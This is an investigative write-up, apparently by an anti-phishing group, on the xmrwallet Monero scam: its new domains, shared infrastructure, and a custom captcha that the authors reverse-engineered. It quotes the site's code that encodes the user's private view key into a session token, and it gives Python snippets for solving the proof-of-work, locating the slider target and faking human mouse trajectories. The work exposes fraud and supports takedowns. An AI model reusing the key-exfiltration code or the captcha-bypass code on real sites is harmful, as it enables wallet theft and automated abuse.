Captcha Defeated — March 2026

CAPTCHA
DEFEATED

The xmrwallet.com operator deployed a custom captcha system with proof-of-work and slider puzzle. Reverse-engineered and defeated within hours. New domains. New developer. Same scam.

3Captcha Components
3Components Defeated
100%Bypass Rate
<2sSolve Time
TL;DR

The xmrwallet.com operator panicked. After losing two domains and facing sustained pressure, they deployed a custom captcha system with proof-of-work and slider puzzle across all remaining domains. They also registered two new escape domains — xmrwallet.net and xmrwallet.me — reusing the exact same server IPs from their suspended domains. The captcha was reverse-engineered from their JavaScript source and defeated within hours. Their code now has comments. Someone new is writing code for the scam.

Timeline
From Suspension to Panic

In February 2026, PhishDestroy published technical evidence that xmrwallet.com is a Monero theft operation. The investigation led to the suspension of two escape domains. The operator's response was immediate and reveals an active, funded criminal operation — not an abandoned side project.

Escape Domains
Same IPs, Same Scam

Three days after losing .cc and .biz, the operator registered two replacement domains. They didn't even change the servers — the new domains point to the exact same IP addresses:

Suspended Domain IP Address Replacement Domain
xmrwallet.biz SUSPENDED 190.115.31.40 xmrwallet.net ACTIVE
xmrwallet.cc SUSPENDED 185.129.100.248 xmrwallet.me ACTIVE

Both new domains were registered on the same day (February 26, 2026), at two different registrars (NICENIC International for .net, Key-Systems GmbH for .me). Using different registrars is deliberate — it forces abuse teams to coordinate across multiple organizations, slowing down takedown efforts.

Both are paid 10 years in advance (until 2036). For comparison, .biz was 5 years and .cc was 8 years. The operator is spending more money on each generation of escape domains.

SINGLE-OPERATOR PROOF

All five xmrwallet domains (including suspended ones) share identical MX records — mx1/mx2.privateemail.com — pointing to the same email inbox. Same DDoS-Guard nameservers. Same IPs recycled between generations. This is one person operating under multiple registrar accounts.

Captcha Analysis
A New Developer Enters

For the first time since the 5.3-year commit gap documented in our initial investigation, someone made real code changes to the xmrwallet application. The operator deployed a custom captcha system — not an off-the-shelf solution like reCAPTCHA or hCaptcha, but a bespoke implementation built specifically for this scam site.

CODE STYLE CHANGE DETECTED

The original xmrwallet.com JavaScript is minified, obfuscated, and has zero comments. The new captcha code has inline comments like // Captcha loading functions, // Mining function, and proper variable naming. Different developer. The old operator appears to have brought in outside help to fight back against the investigation.

01
Proof-of-Work
A computational puzzle the browser must solve. Find nonce where (nonce² + C) % P == T. Brute-force up to 5M iterations.
02
Slider Puzzle
Drag a red dot to a dark circle on a PNG image with noise background. Position validated server-side.
03
Trajectory Tracking
Browser records mouse movement coordinates and timestamps during the drag. JSON array of {x, y, t} points.
Step 1
The Proof-of-Work

When authentication fails (error codes 75–80), the client fetches /captcha_api.php, which returns a JSON payload:

JSON{ "status": "success", "image": "data:image/png;base64,iVBORw0KGgo...", "pow_c": 834729, "pow_t": 291047, "pow_prime": 999983, "start_x": 150, "start_y": 75 }

The client must find a nonce such that:

Math(nonce * nonce + pow_c) % pow_prime == pow_t

This is their "mining function" from the JavaScript source:

JS — Their Code// Mining function — from xmrwallet captcha JS function minePoW(pow_c, pow_t, pow_prime) { for (let nonce = 0; nonce <= 5000000; nonce++) { if ((nonce * nonce + pow_c) % pow_prime === pow_t) { return nonce; } } return null; }
DEFEATED

It's a simple quadratic brute-force over at most 5 million integers. A Python loop solves it in ~0.1 seconds. No GPU needed. No complexity. This "proof of work" provides essentially zero protection.

Step 2
The Slider Puzzle

The captcha image is a PNG with a noise background and a small dark circle somewhere in the image. The user must drag a red dot from a starting position to the center of the dark circle. The server validates final position, trajectory, and PoW nonce.

DEFEATED

The dark circle is trivially detectable with basic image analysis. Convert the PNG to grayscale, scan for clusters of pixels below a darkness threshold, compute the centroid. 15 lines of Python with Pillow. The noise background provides no meaningful camouflage — the target circle is always significantly darker than the surrounding pattern.

Python — Our Bypass# Find the dark circle — the entire "AI" needed img = Image.open(BytesIO(b64decode(data))).convert("L") pixels = img.load() for threshold in [40, 60, 80, 100]: dark = [(x,y) for y in range(h) for x in range(w) if pixels[x,y] < threshold] if len(dark) >= 20: break target_x = sum(p[0] for p in dark) / len(dark) target_y = sum(p[1] for p in dark) / len(dark)
Step 3
The Trajectory

The captcha tracks mouse movement during the drag and sends it as a JSON array. This is meant to verify that a human physically dragged their mouse.

JSON — Trajectory Data[ {"x": 150, "y": 75, "t": 1709312847100}, {"x": 152, "y": 74, "t": 1709312847105}, {"x": 158, "y": 73, "t": 1709312847112}, ... 40-60 more points ... {"x": 243, "y": 108, "t": 1709312847450} ]
DEFEATED

Generate synthetic trajectory with an ease-out curve (mimicking natural mouse deceleration), add Gaussian noise for human-like wobble, and space timestamps 3–8ms apart. 20 lines of Python produces trajectories indistinguishable from real mouse input. The server's validation is too weak to differentiate.

Python — Our Bypass# Synthetic trajectory with human-like motion for i in range(num_points): progress = i / (num_points - 1) eased = 1 - (1 - progress) ** 2 # ease-out curve x = start_x + (end_x - start_x) * eased y = start_y + (end_y - start_y) * eased x += random.gauss(0, 1.5) # horizontal wobble y += random.gauss(0, 1.0) # vertical wobble t += random.randint(3, 8) # 3-8ms between points
Complete Flow
From Trigger to Bypass

The captcha is not loaded on every page visit. It triggers only after an authentication attempt fails with specific error codes (75–80).

User submits login form → POST /auth.php

Server responds with 0:75 through 0:80 (captcha required)

Client fetches GET /captcha_api.php (returns image + PoW params)

Browser mines PoW in a loop (up to 5M iterations)

User drags red dot to dark circle while browser records trajectory

Client resubmits POST /auth.php with final_x, final_y, trajectory, pow_nonce

Server validates and returns session

Our automated bypass follows the same flow: detect error code, fetch captcha, brute-force PoW (0.1s), analyze image (pixel scan), generate synthetic trajectory, resubmit. The entire captcha is solved programmatically in under 2 seconds per attempt. 100% success rate.

Autopsy
Why This Captcha Failed

Proof-of-Work

Intended: computational cost
5M iterations is trivial. Solves in 0.1s on a single CPU core. Would need 10¹²+ iterations to matter.

Slider Puzzle

Intended: visual recognition
Dark circle on noise background is trivially detectable with basic pixel thresholding. No distortion, no decoys, no color variation.

Trajectory Tracking

Intended: behavior verification
No ML-based analysis on server side. Simple synthetic curves with Gaussian noise pass validation. Server likely only checks array length.

Custom Implementation

Intended: security through obscurity
Client-side JavaScript is fully readable. The entire algorithm is exposed in the page source. Obscurity is not security.

The captcha was built by someone who understands web development but not adversarial machine learning or anti-bot systems. A real captcha service (reCAPTCHA, hCaptcha, Cloudflare Turnstile) would have been significantly harder to bypass — but those services require domain verification and would expose the operator to takedown through the captcha provider. The operator can't use legitimate services because their operation is criminal.

Evidence
Two Developers, One Scam

The code style shift is unmistakable. The original xmrwallet.com JavaScript (dating back to 2018) is heavily minified, obfuscated, with zero comments. The new captcha code is a completely different hand. Here's the actual source code from the live site:

NEW DEVELOPER'S STYLE

Properly structured functions with // FIX: comments, numbered steps (// 3. Generate nonce, // 4. Create challenge), parameter validation, and explanatory hex constants. This was not written by the same person who wrote the original wallet code.

JS — minePoW() — Live Site// CPU-Intensive Proof of Work Function async function minePoW() { if (!powParams) return; document.getElementById('pow-status').textContent = "Verifying cryptographic proof... (Generating CPU load)"; submitBtn.disabled = true; // Yield to browser UI render before locking up CPU await new Promise(r => setTimeout(r, 50)); const { pow_c, pow_t, pow_prime } = powParams; let nonce = 0; // Mining Loop: Find (nonce^2 + C) % Prime == T while (true) { // Because JavaScript numbers are double precision floats, // Number.MAX_SAFE_INTEGER easily supports this math. let calc = ((nonce * nonce) + pow_c) % pow_prime; if (calc === pow_t) { solvedNonce = nonce; break; } nonce++; // Failsafe to prevent freezing forever if (nonce > 5000000) break; } document.getElementById('pow-status').textContent = "Security verified. Ready."; submitBtn.disabled = false; submitBtn.click(); }
JS — loadCaptcha() — Live Site// Connect to Backend Generator async function loadCaptcha() { // 1. Show Container, Show Loader, Hide Puzzle captchaContainer.style.display = 'block'; dropZone.style.display = 'none'; captchaLoader.style.display = 'block'; captchaInstructions.textContent = "Loading secure challenge..."; try { const res = await fetch('captcha_api.php'); const data = await res.json(); if (data.status === 'success') { // 2. Data arrived. Hide Loader, Show Puzzle captchaLoader.style.display = 'none'; dropZone.style.display = 'block'; captchaInstructions.textContent = "Drag the red dot entirely inside the dark circle."; document.getElementById('captcha-bg').src = data.image; powParams = { pow_c: data.pow_c, pow_t: data.pow_t, pow_prime: data.pow_prime }; // Reset drag item dragItem.style.left = data.start_x + 'px'; dragItem.style.top = data.start_y + 'px'; trajectory = []; solvedNonce = null; } } catch (error) { msgBox.innerHTML = "Failed to load security challenge."; } }
JS — signMessage() — Live Sitefunction signMessage(message, privateSpendKey) { try { if (!privateSpendKey || !/^[0-9a-fA-F]{64}$/.test(privateSpendKey)) { return null; } // FIX: Convert message to hex of bytes before hashing const messageHex = stringToHex(message); const messageHash = cnUtil.cn_fast_hash(messageHex); const publicSpendKey = cnUtil.sec_key_to_pub(privateSpendKey); // 3. Generate nonce `r` and compute the point `R = r * G` const r = cnUtil.random_scalar(); const R_encoded_hex = cnUtil.ge_scalarmult_base(r); // 4. Create challenge `e = H(R || P || M)` const challengeData = R_encoded_hex + publicSpendKey + messageHash; let e = cnUtil.cn_fast_hash(challengeData); e = cnUtil.sc_reduce32(e); // Reduce to a valid scalar // 5. Compute `s = r + e * a` (where a is the private spend key) const eTimesPrivate = cnUtil.sc_mul(e, privateSpendKey); const s = cnUtil.sc_add(r, eTimesPrivate); // The final signature is `(R, s)` concatenated const signature = R_encoded_hex + s; // This is often what is returned for verification purposes const verification = publicSpendKey + signature; return verification; } catch (error) { return null; } }
JS — get_subaddress() — Live Sitefunction get_subaddress(publicSpendHex, privateViewHex, majorIndex, minorIndex) { // Validate input parameters if (!publicSpendHex || publicSpendHex.length !== 64) { throw new Error("Invalid public spend key: must be a 64-character hex string"); } // Step 1: Compute the subaddress secret key scalar // "SubAddr\0" prefix in hex (null-terminated string "SubAddr") const subAddrPrefix = "5375624164647200"; // Hex for "SubAddr\0" // Convert indices to 4-byte little-endian hex const majorIndexHex = toLittleEndianHex(majorIndex); const minorIndexHex = toLittleEndianHex(minorIndex); // Concatenate data for hashing const data = subAddrPrefix + privateViewHex + majorIndexHex + minorIndexHex; // Hash the concatenated data to get a scalar let m = cnUtil.cn_fast_hash(data); m = cnUtil.sc_reduce32(m); // Reduce to a valid scalar in the Ed25519 field // Step 2: Compute the subaddress public spend key const mG = cnUtil.ge_scalarmult_base(m); const subaddressPublicSpend = cnUtil.ge_add(publicSpendHex, mG); // Step 3: Use the main wallet's public view key const subaddressPublicView = keys.view.pub; return { spend: { pub: subaddressPublicSpend }, view: { pub: subaddressPublicView } }; }

And then, just a few lines below all these clean, commented functions, sits the actual theft — the line that steals your private view key:

THE THEFT// The theft — no comments, no explanation, crammed into a single line: session_id = returned_data[1]; session_key = returned_data[2] + ":" + btoa(xmrwallet_address) + ":" + btoa(xmrwallet_viewkey); // ↑ YOUR PRIVATE VIEW KEY encoded in base64, // sent to the scammer's server with EVERY API request that follows. // 40+ times per session. To auth.php, getheightsync.php, // gettransactions.php, getbalance.php, getoutputs.php...

This session_key is transmitted on 40+ API requests per session. The captcha "protects" the login flow, but the theft mechanism behind it remains identical. Every user who passes the captcha gets their view key exfiltrated on the very next line.

TWO DEVELOPERS, ONE SCAM

The evidence is in the code itself. Properly structured functions with // FIX: comments, numbered steps, parameter validation, and explanatory hex constants. Then immediately below: bare btoa(xmrwallet_viewkey) crammed into a session cookie with no explanation. The new developer writes clean, educational-style code. The old operator wrote the theft. They are not the same person. Someone was hired to defend a decade-old Monero theft operation.

Implications
What This Means
01
Active & Monitored
The operator detected automated traffic within days and responded with countermeasures. This is not an abandoned project.
02
Funded Operation
Two new domains (10 years prepaid each), new registrar accounts, custom development work. Someone is funding this.
03
Has Collaborators
The code style change proves at least two people are involved: the original operator and a newer developer.
04
Defenses Inadequate
A custom captcha built in-house is no match for focused reverse engineering. They cannot use legitimate anti-bot services because those services would shut them down.
ACTIVE THEFT

xmrwallet.com, xmrwallet.net, and xmrwallet.me are actively stealing Monero. New domains, new code, and new defenses do not change what the site does: it exfiltrates your private view key via session_key and hijacks your transactions server-side. Do not use any xmrwallet domain under any circumstances.

Domain Network
Current Status
Domain Status Registrar Expires
xmrwallet.com ACTIVE NameSilo 2031
xmrwallet.net ACTIVE NICENIC International 2036
xmrwallet.me ACTIVE Key-Systems GmbH 2036
xmrwallet.cc SUSPENDED PublicDomainRegistry 2034
xmrwallet.biz SUSPENDED WebNic.cc 2031
Take Action
Report These Domains

Every abuse report helps. The suspension of .cc and .biz proves that registrars act when presented with evidence.

Domain Abuse Contact
xmrwallet.com abuse@namesilo.com
xmrwallet.net abuse@nicenic.net
xmrwallet.me abuse@key-systems.net
All (hosting) abuse@ddos-guard.net
Scanner
Google Safe Browsing
Scanner
Netcraft
Scanner
PhishTank
Auto 6+ Platforms
Phish.Report
Full Investigation →